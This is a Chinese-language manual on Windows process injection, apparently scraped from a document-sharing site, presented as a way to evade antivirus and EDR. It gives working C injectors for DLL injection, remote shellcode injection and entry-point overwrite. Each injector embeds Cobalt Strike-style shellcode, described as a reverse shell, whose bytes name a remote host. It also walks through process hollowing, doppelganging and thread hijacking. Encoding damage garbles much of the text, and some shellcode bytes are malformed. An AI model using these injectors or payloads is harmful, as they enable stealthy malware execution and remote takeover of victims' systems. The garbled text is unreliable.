2024進程注入技術手冊_第1頁
2024進程注入技術手冊_第2頁
2024進程注入技術手冊_第3頁
2024進程注入技術手冊_第4頁
2024進程注入技術手冊_第5頁
已閱讀5頁,還剩61頁未讀, 繼續(xù)免費閱讀

下載本文檔

版權說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權,請進行舉報或認領

文檔簡介

PAGEPAGE10進程注?技術手冊目錄注?經(jīng)典DLL注?注??法例?反射DLL注?實現(xiàn)?法例?反注?)PE注?在遠程進程中執(zhí)?Shellcode代碼注?注??法DemoS()注??法注??法線程執(zhí)?劫持注??法完整Dmeo例?PE資源加載和執(zhí)注??法DemoAPC隊列代碼注?注??法DemoAPC隊列代碼注?變種注?NtCreateSection+NtMapViewOfSection代碼注?注??法注??法案例分享后記進程注?是?種常?來繞過總端安全軟件和藍隊排查的?法,在??件落地和惡意軟件攻擊中的都是常?的?法。在另?個進程的地址空間內(nèi)運??定義代碼。進程注?提?了隱身性,?些技術還實現(xiàn)了持久性。DLL注?經(jīng)典DLL注?通過創(chuàng)建者遠程線程和加載庫的DLL注?是把shellcode注?另?個進程的常?技術,在攻擊中我們可以將其惡意動態(tài)鏈接庫(DLL)的路徑寫?另?個進程的虛擬地址空間中,并通過在?標進程中創(chuàng)建遠程線程來確保遠程進程加載它。DLL注?是將代碼注?到?個遠程進程中,并讓遠程進程調(diào)?LoadLibrary()函數(shù),從?強制遠程進程加載?個DLL程序到進程中。?當DLL被加載時就會運?DLL中的DllMain()函數(shù),所以就會為代碼執(zhí)?提供機會,?因為DLL本身是由感染后的進程加載的同時PE?件也并沒有對系統(tǒng)進?過多的敏感操作,所以這種技術具有相當強的?種隱蔽性。注??法指定?個?標進程,例如svchost.exe。常??法:CreateToolhelp32Snapshot是?于枚舉指定進程或所有進程的堆或模塊狀態(tài)的API,它返回?個快照Process32First檢索有關快照中第?個進程的信息,然后在循環(huán)中使?Process32Next遍歷它們找到?標進程后,通過調(diào)?OpenProcess獲取?標進程的句柄例?intmain(intargc,char*argv[]){HANDLEprocessHandle;PVOIDremoteBuffer;wchar_tdllPath[]=TEXT("C:\\evilm64.dll");printf("InjectingDLLtoPID:%i\n",atoi(argv[1]));processHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,DWORD(atoi(argv[1])));remoteBuffer=VirtualAllocEx(processHandle,NULL,sizeofdllPath,MEM_COMMIT,PAGE_READWRITE);WriteProcessMemory(processHandle,remoteBuffer,(LPVOID)dllPath,sizeofdllPath,NULL);PTHREAD_START_ROUTINEthreatStartRoutineAddress=(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW");CreateRemoteThread(processHandle,NULL,0,threatStartRoutineAddress,remoteBuffer,0,NULL);CloseHandle(processHandle);return0;}反射DLL注?反DLL注?是?種庫注?技術,其中采?反射編程的概念來將庫從內(nèi)存加載到主機進程中常規(guī)的DLL注??式相信?家都很熟悉了,利?CreateRemoteThread這?函數(shù)在?標進程中開始?個新的線程,這個線程執(zhí)?系統(tǒng)的API函數(shù)LoadLibrary,之后DLL就被裝載到?標進程中了。常規(guī)的注??式太過于套路化(CreateRemoteThread+LoadLibrary),導致它?分容易被檢測出來。同時,常規(guī)的DLL注??式還需要?標DLL必須存在磁盤上,??件?旦“落地”就也存在著被殺毒軟件查殺的?險。實現(xiàn)?法要實現(xiàn)反射式注?DLL我們需要兩個部分,注射器和被注?的DLL。其中,被注?的DLL除了需要導出?個函數(shù)ReflectiveLoader來實現(xiàn)對?身的加載之外,其余部分可以正常編寫源代碼以及編譯。?注射器部分只需要將被注?的DLL?件寫?到?標進程,然后將控制權轉(zhuǎn)交給這個ReflectiveLoader即可。使?RWX權限打開?DLL分配?夠?的內(nèi)存DLL復制到分配的內(nèi)存空間中計DLL內(nèi)的內(nèi)存偏移量到?于進?反射加載的導出使?反射加載器函數(shù)的偏移地址作為??點,調(diào)?CreateRemoteThread(或等效的未記錄的API函數(shù),如RtlCreateUserThread)以在遠程進程中開始執(zhí)?反射加載器函數(shù)使?適當?shù)腃PU寄存器查找?標進程的進程環(huán)境塊(PEB),并使?它來查找內(nèi)存kernel32.dll和任何其他所需庫的地址解析kernel32的exports?錄,找到需要的API函數(shù)如LoadLibraryAGetProcAddress的內(nèi)存地址VirtualAlloc然后使?這些函數(shù)DLL(本身)正確加載到內(nèi)存中并調(diào)?其??DllMain更多技術細節(jié):\hhttps://www.ired.team/offensive-security/code-injection-process-injection/reflective-dll-injection\h/lsgxeva/p/12923419.html例?把DLL注?指定進程彈出MessageBox如果要加載shellcode在dll中定義就?POC:\h/stephenfewer/ReflectiveDLLInjectionShellcode反射DLL注?(sRDI)Shellcode反射DLL注?(sRDI)是?種技術,它允許將給定的DLL轉(zhuǎn)換為位置?關的shellcode,然后可以使?任意shellcode注?和執(zhí)?技術注?該shellcode。相對于標準RDI,使?sRDI的?些優(yōu)點:可以轉(zhuǎn)換任何DLL為?位置依賴的shellcode,并且可以使?標準的shellcode注?技術來使?它。LL中不需要寫任何反射加載器代碼,因為反射加載器是在DLL外部的shellcode中實現(xiàn)的。合理使?權限,沒有?量的RWX權限數(shù)據(jù)。還可以根據(jù)選項,抹掉PE頭特征。sRDI的所有功能基于以下兩個組件:?個C語?項?,PELoader編Shellcode轉(zhuǎn)換代碼負責將DLL、RDI和?戶數(shù)據(jù)進?綁定由以下?件組成:ShellcodeRDI:編譯DLL加載器的ShellcodeNativeLoader:需要時,將DLL轉(zhuǎn)換為shellcode,然后注?內(nèi)存DotNetLoader:NativeLoader的C#實現(xiàn)python\ConvertToShellcode.py:將DLL轉(zhuǎn)換為shellcodePython\EncodeBlobs.py:對已編譯的sRDI進?編碼,進?靜態(tài)嵌?PowerShell\ConvertTo-Shellcode.ps1:將DLL轉(zhuǎn)換為shellcodeFunctionTest:導?sRDI的C函數(shù),進?調(diào)試測試TestDLL:示例DLL,包括兩個導出函數(shù),?于后續(xù)的加載和調(diào)?DLL不需要使?RDI進?編譯,但是該技術具有交叉兼容性。PowerShell導?:編寫DLLDemo將DLL轉(zhuǎn)換為shellcode。默認為?個以?進制值表示的shellcode字節(jié)數(shù)組:?便后?利?,我們轉(zhuǎn)化為16進制把shellcode保存轉(zhuǎn)為C的shellcode然后使?其他?法加載就?。PE注?將其shellcode復制到現(xiàn)有的打開進程中并使其執(zhí)?(例如:調(diào)?CreateRemoteThread)。PE注?相對于LoadLibrary技術的優(yōu)勢之?是我們不必在磁盤上放置DLL。與DLL注?類似,在?標進程(例如VirtualAllocEx)中分配內(nèi)存,然后使?WriteProcessMemory寫?shellcode在遠程進程中執(zhí)?ShellcodeShellcode注?是最基本的內(nèi)存攻擊技術,也是使?時間最?的,?般步驟構成:使?OpenProcess打開?標進程;使?VirtuallocEx在?標進程中分配eXecute-Read-Write(XRW)內(nèi)存;使?WriteProcessMemory將shellcode有效內(nèi)容復制到新內(nèi)存;遠程進程中創(chuàng)建?個新的線程來執(zhí)?shellcode(CreateRemoteThread);使?VirtualFreeEx在?標進程中解除分配XRW內(nèi)存;使?CloseHandle關閉?標進程句柄CobaltStrike?成shellcode。下?的代碼將shellcode注?到?個PID為5428的notepad.exe進程中,該進程將啟動?個反向shell返回給我們:#include"stdafx.h"#include"Windows.h"intmain(intargc,char*argv[]){unsignedcharshellcode[]="\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xe9\x93\x00\x00\x00\x5a\x48\x89\xc1\x41\xb8\xbb\x01\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x79\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x32\xc0\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\xba\x1f\x00\x00\x00\x6a\x00\x68\x80\x33\x00\x00\x49\x89\xe0\x41\xb9\x04\x00\x00\x00\x41\xba\x75\x46\x9e\x86\xff\xd5\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xb3\xe9\xe4\x01\x00\x00\xe8\x82\xff\xff\xff\x2f\x62\x6f\x6f\x74\x73\x74\x72\x61\x70\x2\xe0\x74\xbd\xb7\x7a\x97\x0d\xa3\x83\x17\xb6\x03\x13\x4c\x33\xc4\xcb\xfb\xbc\x26\xf4\x68\xde\x1d\x5a\x4c\x87\x33\xc0\x5d\xd4\xe5\x2c\xd2\x2c\x92\x99\xba\x86\xd4\x68\x67\x37\x57\x7f\x10\xb7\xb9\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x2a\x2f\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x64\x69\x76\x2d\x4d\x56\x20\x44\x68\x69\x76\x65\x68\x69\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\ba\xb6\x46\x17\x6c\x48\x7b\x12\xc6\xf5\xac\x98\x9e\xc2\x1c\x42\x83\x50\x9e\xaf\xc6\xc5\x55\xb4\x28\xd5\x8f\xb7\x55\x94\xe7\xe9\x19\x66\x91\xba\x94\x67\xc1\xcb\x8a\x3d\xf0\x4b\xb5\xbe\xe6\xf4\x28\xf3\x30\x26\x18\x10\x26\x11\x18\x44\x85\x6d\x14\xc6\x1f\xe8\xd4\x2c\x58\x93\x36\xd2\x8e\xa6\xd4\x8c\x10\x46\xc7\x1f\xb4\x17\xd1\x6e\x54\x5d\xdb\x87\x81\xbd\xb1\x7a\x31\xb4\x2a\x76\x02\xbf\x6d\x4c\x1a\x6c\x8f\xaf\xba\xd6\xcd\x3f\xb2\x9f\x2e\xe2\x61\x94\xd2\xeb\x0e\x11\x71\x78\xfe\x2c\xb7\x91\xfe\xa7\x91\x3a\x28\xba\x1d\xbc\x43\x35\x75\xcc\x7a\xf2\x4d\x1b\x16\xc3\xf7\x25\x28\xec\x26\xf8\x5e\xf8\x04\x8f\x31\x9e\x59\x99\x62\x39\x27\x05\x75\x26\x84\x20\xca\x3c\x78\x1c\x98\xa3\x39\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\\x63\x6e\x2e\x61\x70\x69\x2e\x63\x68\x69\x6e\x61\x64\x64\x2e\x63\x6e\x00\x51\x09\xbf\x6d";HANDLEprocessHandle;HANDLEremoteThread;PVOIDremoteBuffer;printf("InjectingtoPID:%i",atoi(argv[1]));processHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,DWORD(atoi(argv[1])));remoteBuffer=VirtualAllocEx(processHandle,NULL,sizeofshellcode,(MEM_RESERVE|MEM_COMMIT),PAGE_EXECUTE_READWRITE);WriteProcessMemory(processHandle,remoteBuffer,shellcode,sizeofshellcode,NULL);remoteThread=CreateRemoteThread(processHandle,NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer,NULL,0,NULL);CloseHandle(processHandle);return0;}沒有VirtualAllocExRWX的AddressOfEntryPoint代碼注?EDR和殺毒軟件會重點關注具有RWX的內(nèi)存??。那么通過設置RW的權限可以防?殺毒軟件和EDR重點關注。注??法啟動?個?標進程,shellcode將被注?到該進程中,處于掛起狀態(tài)。AddressOfEntryPoint獲取?標進程寫?shellcode恢復?標進程Demo//#include"pch.h"#include<iostream>#include<windows.h>#include<winternl.h>#pragmacomment(lib,"ntdll")intmain(){//x86shellcodeunsignedcharshellcode[]="\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x0\x00\x00\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\xa4\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\xbb\x01\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\x50\xe9\x8c\x00\x00\x00\x5b\x31\xd2\x52\x68\x00\x32\xc0\x84\x52\x52\x0\x89\xe0\x6a\x04\x50\x6a\x1f\x56\x68\x75\x46\x9e\x86\xff\xd5\x5f\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xca\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x75\x07\x58\x50\xe9\x7b\xff\xff\xff\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x6f\xff\xff\xff\x2f\x76\x75\x65\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\xd4\xa7\x8a\x64\x1f\xb8\x69\x90\xf5\xfc\xbf\x6c\xc3\xec\x52\xe0\x11\x0e\x4a\xbd\xac\xf7\xca\xfb\x7a\x49\x63\x07\x1c\xa9\x9c\xcb\x04\x17\x37\xaf\x96\x11\xbc\xd7\xeb\x2f\xeb\x85\x18\x44\x5d\x91\xa3\x0c\x7d\x64\x2e\xb7\xfe\xcc\xc2\x74\xb8\x5b\xe8\xde\x56\x55\x23\xd2\x9d\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x2a\x2f\x2a\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x64\x69\x76\x2d\x4d\x56\x20\x44\x68\x69\x76\x65\x68\x69\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x35\x2e\x30\x29\x0d\x0a\x00\xd6\xf0\xe9\x27\xc0\x94\xef\x1c\xe5\x21\xfa\xbc\x2b\x93\x6c\x56\x30\x0d\x74\x20\x05\x7c\x17\x66\x64\xb1\xfc\x70\x71\xa6\x18\xcb\xb4\xfe\x58\x21\x58\xc4\xf8\x3f\xf6\x76\x01\x44\x95\x94\x59\x7d\x0f\x54\x79\xbb\x2b\x9e\x2f\x54\xe1\x27\x10\x43\xb2\xee\x79\x95\xac\x80\x9b\x50\xd0\xa2\xd9\x74\xa0\x1d\x32\x55\x2d\x82\x23\x69\xa1\x2f\x13\x12\x5c\xe1\x2b\xde\x32\x07\xa2\x61\x00\x28\x94\x9b\x10\x8f\xeb\xc2\xe7\xe1\x66\x11\xac\x17\x73\x4b\x32\xc0\x4f\x53\x5b\x56\x99\x76\x9a\xc4\xfd\x14\x71\xcf\x55\xa6\xe4\x70\x2a\xe0\x20\x57\x5b\xf3\x63\xd7\xd3\x1e\x00\x98\x9d\xd5\x0a\x28\xba\x57\x6d\x4b\x04\xde\x87\x86\x1a\xb2\x92\x71\x75\x27\x54\xc4\x3a\x42\x11\xdb\x1a\xee\xb8\xbd\x04\x50\x3b\x4d\x0a\x87\xc9\x18\x9f\xac\xa1\xc3\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\x00\x00\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\x89\xfd\xff\xff\x63\x6e\x2e\x61\x70\x69\x2e\x63\x68\x69\x6e\x61\x64\x64\x2e\x63\x6e\x00\x51\x09\xbf\x6d";STARTUPINFOAsi;si={};PROCESS_INFORMATIONpi={};PROCESS_BASIC_INFORMATIONpbi={};DWORDreturnLength=0;CreateProcessA(0,(LPSTR)"c:\\windows\\system32\\cmd.exe",0,0,0,CREATE_SUSPENDED,0,0,&si,&pi);//獲取?標映像PEB地址和指向映像庫的指針NtQueryInformationProcess(pi.hProcess,ProcessBasicInformation,&pbi,sizeof(PROCESS_BASIC_INFORMATION),&returnLength);DWORDpebOffset=(DWORD)pbi.PebBaseAddress+8;//獲取?標進程映像基址LPVOIDimageBase=0;ReadProcessMemory(pi.hProcess,(LPCVOID)pebOffset,&imageBase,4,NULL);//讀取?標進程映像頭BYTEheadersBuffer[4096]={};ReadProcessMemory(pi.hProcess,(LPCVOID)imageBase,headersBuffer,4096,NULL);//獲取??點的地址PIMAGE_DOS_HEADERdosHeader=(PIMAGE_DOS_HEADER)headersBuffer;PIMAGE_NT_HEADERSntHeader=(PIMAGE_NT_HEADERS)((DWORD_PTR)headersBuffer+dosHeader->e_lfanew);LPVOIDcodeEntry=(LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint+(DWORD)imageBase);//將shellcode寫?圖像??點并執(zhí)?它WriteProcessMemory(pi.hProcess,codeEntry,shellcode,sizeof(shellcode),NULL);ResumeThread(pi.hThread);return0;}但是好像只能注?32位的進程。在Cobaltstrike中PROCESSHOLLOWING(RunPE)PROCESSHOLLOWING是某些惡意軟件使?的?種技術,其中將合法進程加載到系統(tǒng)上,然后?作惡意代碼的容器。在啟動時,合法代碼被釋放并替換為惡意代碼。為了更好地隱藏在正常進程中。使?傳統(tǒng)?具檢查進程時,它們看起來都是合法的。PEB未受影響,但該過程的實際代碼和數(shù)據(jù)已更改。其中內(nèi)存中合法進程的可執(zhí)?部分被惡意可執(zhí)??件替換。這種技術允許攻擊者將他的惡意軟件偽裝成合法進程并執(zhí)?惡意代碼。這種技術的優(yōu)點是被挖空的進程的路徑仍將指向合法路徑,并且通過在合法進程的上下?中執(zhí)?,惡意軟件可以繞過防?墻和主機?侵防御系統(tǒng)。注??法惡意軟件會?成?個合法進程的新實例(例如,explorer.exe、lsass.exe等),并將其置于掛起狀態(tài)。fdwCreate標志參數(shù)中的CREATE_SUSPENDED選項使?CreateProcess啟動合法進程//該函數(shù)?于運??個新程序它創(chuàng)建?個新//及其主線程新進程運?指定的可執(zhí)??//BOOL的CreateProcess(LPCWSTRpszImageName,LPCWSTRpszCmdLine,LPSECURITY_ATTRIBUTESpsaProcess,LPSECURITY_ATTRIBUTESpsaThread,BOOLfInheritHandles,DWORDfdwCreate,LPVOIDpvEnvironment,LPWSTRpszCurDir,LPSTARTUPINFOWpsiStartInfo,LPPROCESS_INFORMATIONpProcInfo);//fdwCreate//[in]指定控制優(yōu)先級//和進程創(chuàng)建的附加標志////CREATE_SUSPENDEDfdwCreate標志//新進程的主線程創(chuàng)建為掛起狀態(tài),//直到調(diào)?ResumeThread函數(shù)才運?然后惡意軟件挖空新(仍然掛起)進程中保存合法代碼基地址的內(nèi)存部分。為此,惡意軟件使?NtUnmapViewOfSection例程。//NtUnmapViewOfSection和ZwUnmapViewOfSection是//相同Windows本機系統(tǒng)服務例程的兩個版本//ZwUnmapViewOfSection例程從//主題進程的虛擬地址空間中取消部分視圖的映射//視圖可以是進程的虛擬地址空間中的部分對象的整體或部分映射NTSTATUSZwUnmapViewOfSection(__inHANDLEProcessHandle,__in_optPVOIDBaseAddress);它在掛起的進程中分配讀寫執(zhí)?(RWX)內(nèi)存,為替換惡意代碼做準備。使?VirtualAllocEx分配內(nèi)存。//在指定進程的虛擬地址空間內(nèi)保留或提交內(nèi)存區(qū)域LPVOIDWINAPIVirtualAllocEx(__inHANDLEhProcess,__in_optLPVOIDlpAddress,__inSIZE_TdwSize,__inDWORDflAllocationType,__inDWORDflProtect);//內(nèi)存保護常量PAGE_EXECUTE_READWRITE=0x40//啟?對已提交??的//區(qū)域的執(zhí)?只讀或讀/寫訪問然后將惡意代碼復制到分配的內(nèi)存中。使?WriteProcessMemory將它??的新代碼寫?空的主機進程,使?VirtualAllocEx將數(shù)據(jù)寫?主機進程中分配的內(nèi)存。//將數(shù)據(jù)寫?指定進程中的內(nèi)存區(qū)域//要寫?的整個區(qū)域必須是可訪問的,否則操作將失敗BOOLWriteProcessMemory(HANDLEhProcess,LPVOIDlpBaseAddress,LPVOIDlpBuffer,DWORDnSize,LPDWORDlpNumberOfBytesWritten);如果需要更加隱蔽執(zhí)?那么我們可以使?VirtualProtectEx更改調(diào)整代碼和數(shù)據(jù)部分,使其具有讀取/執(zhí)?或只讀。//更改對指定進程虛擬地址空間中已提交??區(qū)域的保護BOOLWINAPIVirtualProtectEx(__inHANDLEhProcess,__inLPVOIDlpAddress,__inSIZE_TdwSize,__inDWORDflNewProtect,__outPDWORDlpflOldProtect);它將第?個線程的?標地址更改為惡意程序的??點。//設置指定線程的上下?BOOLWINAPISetThreadContext(__inHANDLEhThread,__inconstCONTEXT*lpContext);?ResumeThread恢復掛起的進程。當線程恢復時,惡意代碼開始運?,在進程中看到都是合法進程。//減少線程的掛起計數(shù)//當掛起計數(shù)減為零時,線程的執(zhí)?被恢復DWORDWINAPIResumeThread(__inHANDLEhThread);然后惡意軟件可以?由地從磁盤中刪除?身以避免檢測。這與線程本地存儲(TLS)?常相似,但會創(chuàng)建?個新進程?不是針對現(xiàn)有進程。這種?為可能不會導致特權提升,因為注?的進程是從注?進程的(并且繼承安全上下?)產(chǎn)?的。然?,通過進程挖空執(zhí)?也可能逃避安全產(chǎn)品的檢測,因為執(zhí)?是在合法進程下的。POC:\h/m0n0ph1/Process-Hollowing基于上?POC的PROCESSHOLLOWING更多技術細節(jié):\hhttps://www.ired.team/offensive-security/code-injection-process-injection/process-hollowing-and-pe-image-relocationsProcessDoppelgangingProcessdoppelganing是?種代碼注?技術,它利?與NTFS事務相關的WindowsAPI調(diào)?。NTFS事務是?項Windows功能,?于將事務集成到NTFS?件系統(tǒng)中,使應?程序開發(fā)?員可以更輕松地處理錯誤和保持數(shù)據(jù)完整性,當然還可以管理?件和?錄。\h/zh-cn/windows/win32/fileio/about-transactional-ntfs?redirectedfrom=MSDNWindowsAPI提供了?個?于事務處理的函數(shù):\h創(chuàng)建事務\h提交事務\h回滾事務\h創(chuàng)建?件事務\h移動?件交易\h刪除?件已處\h創(chuàng)建?錄事務\h刪除?錄事務NTFS事務是?個隔離的空間,它允許Windows應?程序開發(fā)?員編寫?件輸出例程,結(jié)果總是可以重新執(zhí)?到失敗或成功狀態(tài)。注??法簡??之,我們可以在事務中創(chuàng)建?個?件,只要我們的事務沒有提交,這個?件對于其他進程是不可?的。它可?于以不被注意的?式刪除和運?惡意負載。如果我們在適當?shù)臅r候回滾事務,操作系統(tǒng)的?為就像我們的?件從未創(chuàng)建過?樣。注??法Transact—將合法的可執(zhí)??件處理到NTFS事務中,然后?惡意?件覆蓋它。Load—從修改后的(惡意)?件創(chuàng)建內(nèi)存。Rollbac—回滾事務(故意使事務失?。?,從?以從未存在的?式刪除合法可執(zhí)??件中的所有更改。Animate—使?Windows進程加載器的舊實現(xiàn)來創(chuàng)建?個具有先前創(chuàng)建的內(nèi)存部分(在第2步中)的進程,這實際上是惡意的并且從未保存到磁盤,“使其對?多數(shù)記錄?具(例如現(xiàn)代EDR)難以檢測?!本唧w?法:?先,我們需要使?API\hCreateTransaction創(chuàng)建?個新事務\h/hasherezade/process_doppelganging/blob/master/main.cpp#L144然后,在此事務中,我們將創(chuàng)建?個虛擬?件來存儲我們的有效負載(使?\hCreateFileTransacted)\h/hasherezade/process_doppelganging/blob/master/main.cpp#L149然后這個虛擬?件將?于創(chuàng)建?個部分(?個特殊格式的緩沖區(qū)),它為我們的新進程奠定了基礎\h/hasherezade/process_doppelganging/blob/master/main.cpp#L173創(chuàng)建該部分后,我們不再需要虛擬?件我們可以關閉它并回滾事務(使?\hRollbackTransaction)\h/hasherezade/process_doppelganging/blob/master/main.cpp#L188那么我們創(chuàng)建了?個包含從虛擬?件加載有效負載的部分。然后使?函數(shù)Zw/NtCreateProcessEx,它需要?個包含PE內(nèi)容的部分,?不是原始PE?件的路徑。如果我們使?這個函數(shù),我們可以以“??件”的?式創(chuàng)建?個新進程。NtCreateProcessEx的定義boolprocess_doppel(wchar_t*targetPath,BYTE*payladBuf,DWORDpayloadSize){HANDLEhSection=make_transacted_section(targetPath,payladBuf,payloadSize);if(!hSection||hSection==INVALID_HANDLE_VALUE){returnfalse;}HANDLEhProcess=nullptr;NTSTATUSstatus=NtCreateProcessEx(&hProcess,//ProcessHandlePROCESS_ALL_ACCESS,//DesiredAccessNULL,//ObjectAttributesNtCurrentProcess(),//ParentProcessPS_INHERIT_HANDLES,//FlagshSection,//sectionHandleNULL,//DebugPortNULL,//ExceptionPortFALSE//InJob);if(status!=STATUS_SUCCESS){std::cerr<<"NtCreateProcessExfailed!Status:"<<std::hex<<status<<std::endl;if(status==STATUS_IMAGE_MACHINE_TYPE_MISMATCH){std::cerr<<"[!]Thepayloadhasmismatchingbitness!"<<std::endl;}returnfalse;}我們必須?動填充和設置?些結(jié)構——例如流程參數(shù)(RTL_USER_PROCESS_PARAMETERS)。在填充它們并擰?遠程進程的空間后,我們需要將它們鏈接到PEB。設置完所有內(nèi)容后,我們可以通過從??點開始創(chuàng)建?個新線程來運?該進程。我們也可以?動設置?件路徑—制造?種錯覺,認為這是已加載的?件,即使它沒有加載。通過這種?式,我們可以模擬任何Windows可執(zhí)??件,但我們也可以產(chǎn)??種錯覺,認為PE?件是從不存在的?件或?可執(zhí)?格式的?件運?的。線程執(zhí)?劫持在線程執(zhí)?劫持中,惡意軟件以進程的現(xiàn)有線程為?標,并避免任何可能查殺的進程或線程創(chuàng)建操作。線程執(zhí)?劫持是?種在單獨的活動進程的地址空間中執(zhí)?任意代碼的?法。線程執(zhí)?劫持通常通過暫?,F(xiàn)有進程然后取消映射/挖空其內(nèi)存來執(zhí)?,然后可以?惡意代碼或DLL的路徑替換?,F(xiàn)有受害者進程的句柄?先使?本機WindowsAPI調(diào)?創(chuàng)建,例如OpenThread.在這?點上,進程可以被掛起,然后寫?,重新對?注?的代碼,然后分別通過S